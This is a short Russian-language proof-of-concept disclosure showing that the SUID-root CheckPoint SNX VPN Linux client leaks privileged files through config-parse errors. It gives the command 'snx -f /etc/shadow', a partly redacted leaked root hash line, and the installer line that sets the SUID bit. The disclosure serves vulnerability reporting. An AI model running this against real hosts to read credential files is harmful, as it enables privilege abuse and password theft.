
Proof-of-Concept для чтения привилегированных файлов через клиент CheckPoint SNX VPN Linux
Доказательство концепции для привилегированного чтения файлов через CheckPoint SNX VPN Linux Client.
Для эксплуатации просто загрузите любой файл в качестве конфигурации SNX, используя параметр -f. Если файл не является допустимой конфигурацией SNX, будет выдана ошибка и отображена синтаксическая ошибка, что приведёт к утечке содержимого до обнаружения терминатора строки (например, etc/shadow):
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
Причина заключается в том, что исполняемый файл /usr/bin/snx имеет бит SETUID и выполняется от имени суперпользователя, что устанавливается в процессе инсталляции.
В частности, переменная COMMAND_TO_RUN, определённая в установочном .sh файле (CheckPointVPN_SNX_Linux_800007075.sh):
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
В параметре --mode=u=rxs последний s устанавливает SUID-бит, что приводит к выполнению двоичного файла от имени root.